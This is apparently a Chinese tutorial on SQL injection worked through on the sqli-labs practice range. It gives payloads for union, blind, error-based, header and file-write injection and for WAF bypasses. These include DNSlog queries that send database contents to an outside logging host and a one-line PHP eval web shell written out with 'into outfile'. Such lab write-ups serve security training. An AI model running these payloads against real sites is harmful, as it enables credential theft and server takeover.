关于SQL的各种注入

关于SQL的各种注入

如果要手搓进行代码的编写,建议先对函数所需参数用123代替,将框架搭建好,再进行细致的参数的改写。

联合注入

联合注入很简单,主要是判断闭合方式

这里就直接举例了(以sqli-labs第二关为例):

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

盲注

盲注适用于页面没有回显,不知道数据库具体返回值的情况下,对数据库中的内容进行解读,实行SQL注入

布尔盲注

web页面只返回true真或者false假两种类型,利用页面返回不同,逐个拆解数据

函数:

ascii():将字母转换为数其对应的ascii码。但ascii一次只能转换一个字符,无法同时转换多个字符
substr():截断函数,对所查询的字符串进行截断,方便ascii()进行单个字符的查询
length():返回字符串的长度

在通常使用ascii函数时,常使用二分法进行查询以提高效率。

这里举一个布尔盲注的例子(为sqli-labs靶场第五关);

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

时间盲注

web页面只返回一个正常页面,利用页面响应时间不同,逐个拆解数据。但前提是数据库会执行命令代码,只是不反馈页面信息

关键函数:

sleep():参数为休眠时长,以秒为单位,可以为小数。
if(1,2,3):参数1为条件,参数2为当参数1为真时返回的值,参数3为当参数1为假时返回的值

这里举一个时间盲注的例子:

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

DNslog注入

归类为盲注,但是效率要比盲注高一些,在某些环境下,布尔盲注或者时间盲注遇到WAF要绕过的话效率特别低,但如果用SQLmap的话,如果遇到某些将SQLmap拉入黑名单的网站,就会导致一定的麻烦

布尔盲注和时间盲注都是一个一个字符的显示和猜测,而DNslog注入是一行一行的显示,但是需要MYSQL对读取和写入文件的权限开启,与SQL注入中的文件上传需要的条件类似,两个要么能同时进行,要么同时都不能进行
在这里插入图片描述

load_file()函数

select load_file("C:\\benben.txt");				\\可以读取本机或者分享的文件,会显示文件所含的字节数

UNC路径

格式:\servername\sharename,其中servername是服务器,sharename是共享资源的名称,目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。其实我们平常在windows中用共享文件的时候就会用到这种网络地址的形式,通用命名约定 (UNC) 路径是一种几乎只能在 Windows 上找到的类型(尽管可以说 URI 取代了它们在其他所有东西上的作用)。它们用于访问远程文件系统,通常是 SMB,但几乎可以是任何实现,例如 WebDAV(默认安装)或许多虚拟化共享文件夹实现之一。按照惯例,UNC 路径以两个路径分隔符开头,一个是服务器地址(无论是域名还是 IP 地址),然后是该服务器上共享的名称。最后,之后指定所需资源的相对路径。

而DNSslog注入的注入点就在于域名那里,例如:\127.0.0.1\123\benben.txt,可以执行DNSslog的地方就是在127.0.0.1那里

需要用到的网站:

http://ceye.io

http://www.dnslog.cn

在这里举个例子(以靶场第九关为例),这里因为我改不了my.ini里的secure_file_priv(改了但是经过查询还是没改,不知道为什么),所以就只放payload了:

?id=1' and (select load_file(concat("//",(select database()),".由上述网站分配的域名/任意文件")))--+
\\由于无法直接访问,所以要进行拼接

?id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".由上述网站分配的域名/任意文件"))) --+
\\通过控制limit函数一次查询表名。

?id=1' and (select load_file(concat("//",(select column_name from information_schema.columns where table_name='上一步骤查到的可疑表名' limit 0,1),".由上述网站分配的域名/任意文件"))) --+

?id=1' and (select load_file(concat("//",(select group_concat(可疑字段) from '上一步骤查到的可疑表名' limit 0,1)," --+

报错注入

原理:构造错误语句,让错误信息中夹杂可以显示数据库内容的查询语句

适用于命令正常执行时无回显,但对于错误的语句就有回显信息的情况

关于报错注入的响应形式:

在这里插入图片描述

报错注入的函数:

其中1-3较为常用,后面的目前还没有遇到要用到的地方。

1.通过floor()报错注入
2.通过extractvalue()报错注入
3.通过updatexml()报错注入
4.通过NAME_CONST()报错注入
5.通过exp()报错注入
6.通过jion()报错注入
7.通过geometrycollection()报错注入
8.通过polygon()报错注入
9.通过multipoint()报错注入
10.通过multlinestring()报错注入
11.通过mulpolygon()报错注入
12.通过linestring()报错注入

extractvalue()报错注入

函数extractvalue()作用为从目标xml中返回所查询的字符串,其中包含两个参数,第一个参数为XML文档对象名称,第二个参数为xpath格式的字符串,如果输入的要查询的字符串不符合xpath格式,就会发生报错。而参数二也是我们进行语句查询的地方

所以extractvalue()报错注入的基本格式为:

extractvalue(任意,concat(0x7e,(select database())))

0x7e为~,就是不符合xpath语法的常用方法。

但是extravtvalue()默认只能返回32个字符串,所以要用到截断函数例如:substring(substr()函数也可,效果一致)、mid、left、right、limit等。

substring()函数:string substr(string, start, length)参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
left()函数:Left(string,n)string为要截取的字符串,n为长度。
mid()函数:mid(str,start,length)参数同substr()函数一样。
limit()函数:limit(a,b)从a位置开始,返回b条数据。

拼接截断函数为(以substring()函数为例),这只是其中的一个步骤:

extractvalue(任意,concat(0x7e,select substring(group_concat(username),1,30)from users))

举个例子(以sqli-labs靶场第五关为例):

?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
?id=1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1))),3 --+
//在进行查询时发现会报错说超过了一定的行数,所以用limit函数限制行数输出,substr()函数应该也可以
?id=1' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1))),3 --+
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,'*',password) from users))),3 --+
//*号可以去掉

updatexml()报错注入

函数updatexml()函数的作用是查找对应文档中的字符串,并对找到的字符串进行相应的更改,第一个参数为XML文档对象名称,第二个参数为xpath格式字符串,第三个参数为对查找到的字符串要进行更改的值,同extractvalue()函数一样,当第二个参数不符合xpath格式时就会发生报错。而参数二也是我们进行查询语句的地方。

所以updatexml()报错注入的基本格式为:

updatexml(任意,concat(0x7e,select database()),任意)

updatexml()默认只能返回32个字符,所以也需要用到截断函数

拼接截断函数为(以substring()为例),形式与extractvalue()相似:

updatexml(任意,concat(0x7e,select substring(group_concat(username),1,30)from users),任意)

举个例子(以sqli-labs第五关为例):

?id=1' union select 1,updatexml(1,concat(0x7e,(select database())),3),3 --+
?id=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),3),3 --+
?id=1' union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),3),3 --+
?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(username,';',password)from users)),3),3 --+

原理与extractvalue()函数相似,只是格式上有些许不同。

floor()报错注入

floor()报错注入涉及到的函数:

rand()函数:随机返回0~1之间的小数
floor()函数:小数向下取整数,向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来
group by子句:分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
as:别名
count()函数:汇总统计数量
limit()函数:这里用于显示指定行数

函数的使用举例:

floor(rand()*2):结果为0或者1,因为随机数在0~2之间,再向下取整,就只有0或者1。
rand():rand()计算结果在0~1之间,rand()*2计算结果在0~2之间,rand() from users根据表users的行数显示结果,有多少行就显示多少个随机数。
concat_ws('-',2,3):结果为2-3。
concat_ws('-',(select database()),floor(rand()*2)) from users:有多少用户就计算多少次,结果随机。
concat_ws('-',(select database()),floor(rand()*2)) as 任意 from users group by 任意:将concat_ws查询到的结果命名了一个别名,并对他进行了分组。
floor(rand()*2) from users                     根据表的行数随机显示0或1
floor(rand(0)*2) from users                    计算不再随机,而是按一定顺序排列


count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as 任意 from users group by 任意;        固定报错
count(*),concat_ws('-',(select database()),floor(rand(1)*2)) as 任意 from users group by 任意;        固定不报错
固定报错的原因:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key(即所拼接的种类)重复

在这里插入图片描述

floor()报错注入默认展示64位字符串

如果group_concat无法显示可以尝试concat

在这里用一个靶场进行举例(以sqli-labs第五关为例):

?id=1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

?id=1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

?id=1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

?id=1' union select 1,count(*),concat_ws('-',(select concat(username,'-',password) from users limit 1,1),floor(rand(0)*2)) as x from information_schema.tables group by x--+

POST的union注入

get提交和post提交的区别

1.get提交可以被缓存,post提交不会,就比如我们在URL里面打一个127,那么就会在历史相关记录下面显示相关内容,而post是封装在数据包里的,不会在URL里面体现。

2.get提交参数会保留在浏览器的历史纪录里,post提交不会。

3.get提交可以被收藏为书签,post提交不会。

4.get提交有长度限制,最长2048个字符;post提交没有长度要求,不是只允许使用ASCII字符,还可以使用二进制数据。

5.post提交比get提交更安全。

当网站需要登陆时,可以使用post提交。

举个例子(以sqli-labs第十一关为例):

1.界面首先是一个输入框。我们试着输入一个1抓包(也可以在火狐浏览器按F12在网络里看)看一下。

在这里插入图片描述

很明显,输入的东西是以post方式提交上去的。,所以我们主要输入点就在那个输入框里。

在这里插入图片描述

那我们知道原理了。

可以直接用hackbar也可以用burpsuite,不过是用post方式

接下来的步骤就和GET型的union注入一样了,

POST报错注入

原理就不说了,和GET型的一样,就是传数据方式变了,

以(sqli-labs13关为例):

输入正确的并没有回显或者页面的改变,但是输入错误的就有显示了,所以尝试使用报错注入

接下来的步骤就和上文的一样了,用extractvalue,updatexml,floor函数都可以。

POST型时间、布尔、及DNslog注入

盲注步骤和原理和GET型的注入都一样,还是传入数据的方式不同,在这里就不细说了,摸清闭合方式和传参格式后就参考前面的GET型盲注的步骤就行。

POST报头注入

页面看不到明显变化,找不到注入点,可以尝试报头注入。报头注入主要就分为User-agent,Referer,Cookie注入三种类型。POST注入时,万能密码admin’ or 1=1无法绕过验证,用户名无法注入。但是执行这些的前提是要登录成功,这里使用注入的步骤为:

union联合注入>报错注入>(如果开启了文件访问权限,就用DNslog注入)>布尔盲注>时间盲注

在这种注入当中,比较常见的一个函数就是$_SERVER函数,下面列举了一些这个函数常用的参数:

$_SERVER['PHP_SELF'] 函数用法 #当前正在执行脚本的文件名,与 document root相关。

$_SERVER['argv'] 函数用法 #传递给该脚本的参数。

$_SERVER['argc'] 函数用法 #包含传递给程序的命令行参数的个数(如果运行在命令行模式)。

$_SERVER['GATEWAY_INTERFACE'] 函数用法 #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。

$_SERVER['SERVER_NAME'] 函数用法 #当前运行脚本所在服务器主机的名称。

$_SERVER['SERVER_SOFTWARE'] 函数用法 #服务器标识的字串,在响应请求时的头部中给出。

$_SERVER['SERVER_PROTOCOL'] 函数用法 #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。

$_SERVER['REQUEST_METHOD'] 函数用法 #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。

$_SERVER['QUERY_STRING'] 函数用法 #查询(query)的字符串。

$_SERVER['DOCUMENT_ROOT'] 函数用法 #当前运行脚本所在的文档根目录。在服务器配置文件中定义。

$_SERVER['HTTP_ACCEPT'] 函数用法 #当前请求的 Accept: 头部的内容。

$_SERVER['HTTP_ACCEPT_CHARSET'] 函数用法 #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。

$_SERVER['HTTP_ACCEPT_ENCODING'] 函数用法 #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。

$_SERVER['HTTP_ACCEPT_LANGUAGE'] 函数用法#当前请求的 Accept-Language: 头部的内容。例如:“en”。

$_SERVER['HTTP_CONNECTION'] 函数用法#当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。

$_SERVER['HTTP_HOST'] 函数用法 #当前请求的 Host: 头部的内容。

$_SERVER['HTTP_REFERER'] 函数用法 #链接到当前页面的前一页面的 URL 地址。

$_SERVER['HTTP_USER_AGENT'] 函数用法 #当前请求的 User_Agent: 头部的内容。

$_SERVER['REMOTE_ADDR'] 函数用法 #正在浏览当前页面用户的 IP 地址。

$_SERVER['REMOTE_HOST'] 函数用法 #正在浏览当前页面用户的主机名。

$_SERVER['REMOTE_PORT'] 函数用法 #用户连接到服务器时所使用的端口。

$_SERVER['SCRIPT_FILENAME'] 函数用法 #当前执行脚本的绝对路径名。

$_SERVER['SERVER_ADMIN'] 函数用法 #管理员信息。

$_SERVER['SERVER_PORT'] 函数用法 #服务器所使用的端口。

$_SERVER['SERVER_SIGNATURE'] 函数用法 #包含服务器版本和虚拟主机名的字符串。

$_SERVER['PATH_TRANSLATED'] 函数用法 #当前脚本所在文件系统(不是文档根目录)的基本路径。

$_SERVER['SCRIPT_NAME'] 函数用法 #包含当前脚本的路径。这在页面需要指向自己时非常有用。

$_SERVER['REQUEST_URI'] 函数用法 #访问此页面所需的 URI。例如,“/index.html”。

$_SERVER['PHP_AUTH_USER'] 函数用法 #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。

$_SERVER['PHP_AUTH_PW'] 函数用法 #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。

$_SERVER['AUTH_TYPE'] 函数用法 #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。

HTTP头中useragent注入

在这里以sqlli-labs第18关为例,,因为只有报错信息的回显,所以这是一道关于报错注入的题,对源代码(只是部分的)进行一个解读:

    function check_input($value)
	{
	if(!empty($value))								   \\如果传进去的值不为空,就执行此方法
		{
		// truncation (see comments)
		$value = substr($value,0,20);			    	\\不管传进去些什么,只截断传进去的前二十个单位长度的东西
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())						\\判断此方法是否开启(5.0默认开启),此方法的作用是给值当中的														闭合符自动加上\,将其实体化
			{
			$value = stripslashes($value);				\\自动将判断中的方法加上的\去掉。
			}
		// Quote if not a number
		if (!ctype_digit($value))						\\检测$value是否全是数字(为纯数字,带.都不行)
			{
			$value = "'" . mysql_real_escape_string($value) . "'";    \\对'进行转义
			}
	else
		{
		$value = intval($value);
		}
	return $value;
	}
    $uagent = $_SERVER['HTTP_USER_AGENT'];			\\读取当前请求头中user-agent的内容
	$IP = $_SERVER['REMOTE_ADDR'];				    \\正在浏览当前页面的用户的IP地址
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;				\\将浏览当前页面的用户的IP地址打印在页面上
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])) \\检验是否输入username和password

	{
	$uname = check_input($_POST['uname']);		     \\如果输入的useranme不为空,就会对其中的值进行一个安全检查,而														check_input具体在做什么,上面的源代码中有。
	$passwd = check_input($_POST['passwd']);	     \\如果输入的password不为空,就会对其中的值进行一个安全检查
	
	/*
	echo 'Your Your User name:'. $uname;
	echo "<br>";
	echo 'Your Password:'. $passwd;
	echo "<br>";
	echo 'Your User Agent String:'. $uagent;
	echo "<br>";
	echo 'Your User Agent String:'. $IP;
	*/

	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd   ORDER BY users.id DESC LIMIT 0,1";				   \\将输入在username和password的值带入后台查询语句当中,进行拼接查询
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";									\\真正引起注入的是这段代码。uname被过滤了,只有uagent和IP可实现注入
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			}

源代码分析完了,接下来就开始做吧:

在这里插入图片描述

红框部分就是注入的语句了,关于为什么这一行最后面有一些奇怪的参数和符号,这是为了与上面的源代码形成闭合。

在这里插入图片描述

这里就爆出数据库名啦,接下来就按照报错注入的查询步骤一步一步走就行啦。

HTTP头中referer注入

其实原理和useragent差不多,只是修改参数的位置不一样

这里就以sqli-labs第十九关为例:

第19关的源代码和第18关几乎一样在,这里就不再做一一的代码分析了,只有引起注入点的一句有所不同。

INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')
\\这里就变成了可以注入的点就在于referer了

注意:在第十九关的源代码中使用到了mysql_query函数,这是在php低版本中才会生效的函数,所以要将其改成mysqli_query才能适应高版本php,这样也才能返回正常,否则就不会正常回显,也不会报错。

在这里插入图片描述

有点模糊,Referer中的内容为:

' or extractvalue(1,concat('~',(select database()))),2)

接下来就按照报错注入的步骤去做就行。

HTTP头中cookie注入

原理和前面两种报头注入差不多

但是它的插入数据的方式不一样:

"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"  \\这是useragent报头注入中插入数据的方式

$result1 = mysqli_query($sql);
$row1 = mysqli_fetch_array($result1);
$cookee = $row1['username'];
setcookie('uname', $cookee, time()+3600);    \\这是cookie插入数据的方式

生成cookie后
$cookee = $_COOKIE['uname'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
在有效期内再次刷新页面,客户端向数据库服务器发送cookie进行验证,不需要再次输入用户名和密码,且提交值$cookee不再进行check_input验证


总体来讲,源代码的一个思路就是:首先生成一个cookie,cookie给到我们,我们后续就会带着cookie去访问这个网站,一旦访问成功以后,他就会对我们这里面所携带的一个用户名进行一个查表的动作,查cookie提交的用户名在不在这个表里面,如果存在的话,就允许登录,如果不存在的话就拒绝访问

关于setcookie函数:

setcookie(name,value,expire,path,domain,secure)
name	必需,规定cookie的名称
value   必需,规定cookie的值
expire  必需,规定cookie的有效期
path    可选,规定cookie的服务器路径
domain  可选,规定cookie的域名
secure  可选,规定是否通过安全的HTTPS连接来传输cookie

以sqli-labs第20关为例:

在这里插入图片描述

这里只展示了查询字段的步骤,后续步骤按照联合注入来就行。

SQL注入中的文件上传

关于MYSQL文件上传要点

1.show variables like ‘%secure%’; 用来查看mysql是否有读写文件权限;

主要看secure_file_priv参数,其后值有三种状态,若什么都没有则表示所有路径均可以进行写入文件,若有指定路径就只能从指定文件路径进行写入,若为NULL,则表示无法从任何路径进行文件写入

2.数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;

3.into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。

linux环境下实现此功能需要预配置

SQL注入文件上传的主要目的还是对目标靶场上传一句话木马文件

这里举个例子(以sqli-labs第七关为例):

?id=1												\\先用and1=1和and1=2测试字符型/数字型
?id=1' --+											 \\测试闭合符和注释符号
?id=1')) and 1=1 --+								  \\用and1=1和1=2测试闭合符是否正确
?id=1')) group by 3 --+						   		   \\测试列数
?id=1')) union select 1,2,3 --+						   \\测试查询语句
?id=-1')) union select 1,2,"<?php @eval($_POST['任意']); ?>" into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\写入的文件名" --+
再用蚁剑进行连接即可

关于SQL注入中的注释符的问题

像下面的这个地方,明明都已经加注释符注释掉后面一个单引号了,按理来说会因为单引号没有闭合,然后报错但是没有报错

在这里插入图片描述

这上面的语句就相当于是’1’='1%23’这里的注释符被单引号包裹了起来,会被认定是字符串而不是注释符,所以不会起到注释符的作用

这下面也是同理,没有起到注释的作用,直接看成字符串了,然后返回id=1的界面

在这里插入图片描述

比如下面这个就是’1’ and 1=1–+'这时候注释符就不在引号里面,所以就会被当成注释符,所以也会正常回显

在这里插入图片描述

绕过WAF的检测

判断页面过滤对象的方法为:从最简单的注入语句开始,一步步增加复杂性,通过此方法判断过滤对象

一步步寻找过滤对象,找到以后针对那个点进行优化。

关于注释符的检测绕过

常用的注释符有:

--
#
%23

在这里以sqli-labs第23关为例:

这个就是相关过滤的源代码:

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);		\\在变量id里面只要出现#键,就用空格代替#键
$id = preg_replace($reg1, $replace, $id);        \\在变量id里面只要出现--键,就用空格代替--键

通过在语句后面再加一个 ’ 号,形成闭合,就不会报错,只是最后一个闭合为空,里面没有值而已

可以改为:?id=-1' union select 1,(select database()),3'

然后按照步骤走就行。

总结:
数字型是不需要考虑闭合的
字符型
''单引号闭合只需要在后面增加一个单引号即可
“ ”双引号闭合只需要在后面加上一个双引号就行
('')单引号括号闭合只需要在后面多加一个or ('1')=('1
("")双引号括号闭合需多加一个or("1")=("1

关于and和or过滤绕过

靶场源码就不看了,也是将and和or用空格代替,靶场对应关数是25关

绕过方式

1.大小写绕过,例如:?id=1 AnD 1=2(or同理)

2.双写绕过,例如:?id=1 anandd 1=2(or同理)

3.使用替换符,例如:?id=1 && 1=2(or同理) 如果&&无法正常识别,那就尝试用编码绕过,即为?id=1 %26%26 1=2(||为%7C%7C)

还有一些其他绕过方式:

在这里插入图片描述

对于靶场

首先尝试大小写绕过,发现还是被过滤了,尝试双写绕过,成功绕过,所以只过滤了一次,接下来的步骤就不多说啦。

关于空格过滤

对应靶场第26关,这是过滤的源代码:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

过滤掉了’or’ ‘and’ ‘/*’ ‘–’ ‘#’ 'spaces’等等

绕过空格的方法:

1.+号过滤,例如:?id=1+and+1=2(这也是为什么一般不用加法运算来判断注入类型的原因,因为+号很多情况下都会被当作空格)

2.使用URL编码,例如:?id=1%20and%201=2 也可以?id=1%0Aand%0A1=2,是换行符,起到的效果和空格是一样的。

也可以用%A0,但是%A0在靶场环境下是没有用的

3.使用报错注入,例如:?id=1’||extravtvalue(1,concat(‘~’,(database())))||‘1’=‘1,简单来讲就是多用括号代替空格,例如下一步就是: id=1’||extravtvalue(1,concat(‘~’(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))||‘1’='1

关于逗号过滤绕过

join关键字绕过

join 的作用是对查询的东西进行一个内联,

例如:?id=-1 union select 1,2,3 等价于 ?id=-1 union select * from (select 1)a JOIN (select 2)b JOIN (select 3)

?id=-1 union select 1,2,3 等价于 ?id=-1 union select * from (select 1)a JOIN (select 2)b JOIN (select database())

?id=-1 union select 1,2,3 等价于 ?id=-1 union select * from (select 1)a JOIN (select 2)b JOIN (select group_concat(table_name) frominformation_schema.tables where table_schema=database())

注意由于吃逗号,所以在最后一步查询字段中的内容时要分两步进行查询

from pos for len关键字

substr(version(),1,1)等价于substr(version() from 1 for 1)

offset关键字

适用于limit中逗号被过滤的情况

1.select * from users limit 2,1 等价于 select *from users limit 1 offset 2都是从第三条开始取一条

2.limit索引从0开始,代表第一条记录,limit index,num从index 开始取num条

3.比如limit 0,1就是从第一条记录(包含第一条)开始取一条记录

关于union和select绕过方式

绕过方法:
1.大小写绕过,例如:?id=-1 Union Select database()

2.双写绕过,例如:?id=-1 ununionion seleselectct database()

3.尝试报错注入,例如:?id=1000’||updatexml(1,concat(‘$’,(database())),0)or’1’='1

关于宽字节注入绕过

函数addslashes(),作用是在指定的预定义字符前添加反斜杠,这些字符是单引号(')、双引号(")、反斜线()与NULL字符,就是把功能性的符号全部实体化使其失去功能性。

就比如sqli-labs第三十二关:

在这里插入图片描述

这里在输入?id=1’后,下面的页面显示就发现在’前面加了一个\

GBKB编码

这是一种很重要的编码方式,如果数据库中没有采用GBKB编码绕过的话,那么这种宽字GBK节编码绕过是没办法使用的。既要求MYSQL的编码方式是GBK编码,并且发请求声明客户端用的也是GBK编码。

GBK编码,是在GB2312-80标准基础上的内码扩展规范,使用了双字节编码方案,其编码范围从8140至FEFE(剔除xx7F),首字节在81-FE之间,尾字节在40-FE之间,共23940个码位,共收录了21003个汉字,完全兼容GB2312-80标准,支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字,MYSQL在使用GBK编码时,会认为两个字符为一个汉字,可以使用一些字符,和经过转义过后多出来的\组合成两个字符,变成MYSQL数据库不识别的汉字字符,导致对单引号、双引号的转义失败,使其参数闭合

例如:输入%df’,本来会转义单引号’为’,但(%5c)编码位为92,%df的编码位为223,

%df%5c符合GBK取值范围(第一个字节129-254,第二个字节为64-254),会解析为一个汉字,这样\就会失去应有的作用。说白了就是在\前面输入的东西刚好和\组成一个符合GBK编码的汉字,就把\的作用给对冲掉了。

在这里插入图片描述

像上面这样就正常回显了。

关于安全狗的绕过

WAF绕过常用方法

关乎于安全狗具体过滤了什么,最常用的方法就是控制变量法,挨着挨着试。不要同时出现多个敏感字符,难以判断到底过滤的谁。

注释

/* * /:在SQL里,多行注释是/* */,这个是SQL的标准

/ * !xxx* /:但是MYSQL扩张了解释的功能,假如在起头的/*后面加上了感叹号,那么解释里的语句将被执行。

/ *!50001xxx * /:这里的50001表示假如数据库是5.00.01版本以上版本,改语句才会被执行。

空白符

%09是一个水平制表符
%0a新一行,mysql可以让命令分行注入
%0C新一页
%0B纵向的TabLayout
%20是空格
%a0仅仅只有mysql可以识别空格
/**/注释空格
%0a是换行,这种连接方式被过滤了,因此中间加几个没有用的字符
字符在被过滤过后可以再次尝试url编码其他符号

如果database()被注释,可以在括号里插入/ * !900000benben * /,其实在运行时还是只执行了database(),但是却绕过了安全狗的dataabse()检测。

特殊符号

编码

替换

1.and、or替换
&&和||
使用异或截断  ?id=1^1^0       ?id=1^0^0  来判断是什么类型的注入(因为字符型注入不会在乎语句中的逻辑关系)
使用{``operation}            and{`test` 1=2}        and{`test` 1=1}
直接使用真、假                &&true                 &&false
2.order by替换
group by
3.union select替换
union all select
也可以与注释结合:union /*benben*/ select 让安全狗在检测时发现union后面不是select,从而绕过,如果成功在这个点绕过,但是还是会有语法错误,就可以用到union /*!90000benben*/ select要让SQL的版本在9.00.00以上才会执行benben否则还是会注释掉。
如果与编码进行结合就是:union --+b%0a select 1,2,3,这样就是在union 后面注释掉了一个b,然后进行了换行,有可能就进行了绕过。
4.information_schema.tables替换
换表:sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io
5.information_schema_columns替换
用join法获取列名

select * from users as a join users as b;

此语句可以理解为:(假设有一张有m行的表a和有n行的第二张表b)将表a的第1行直到第n行与表b的第1行进行关联,再将表a的第2行直到第n行与表b的第2行进行关联,以此类推,直到与表b的第n行关联。结果也是产生了一个新的表。

在这里插入图片描述

关于注入当中该怎么做:

select * from (select * from users as a join users as b)c:可理解为,括号里的查询生成的新表取了个名字是c从中进行查询,但是因为其中列名有重复,所以会发生报错。同时爆出重复的的列名。知道以后,再利用using()进行连接查询,

using():1.查询必须是等值连接。
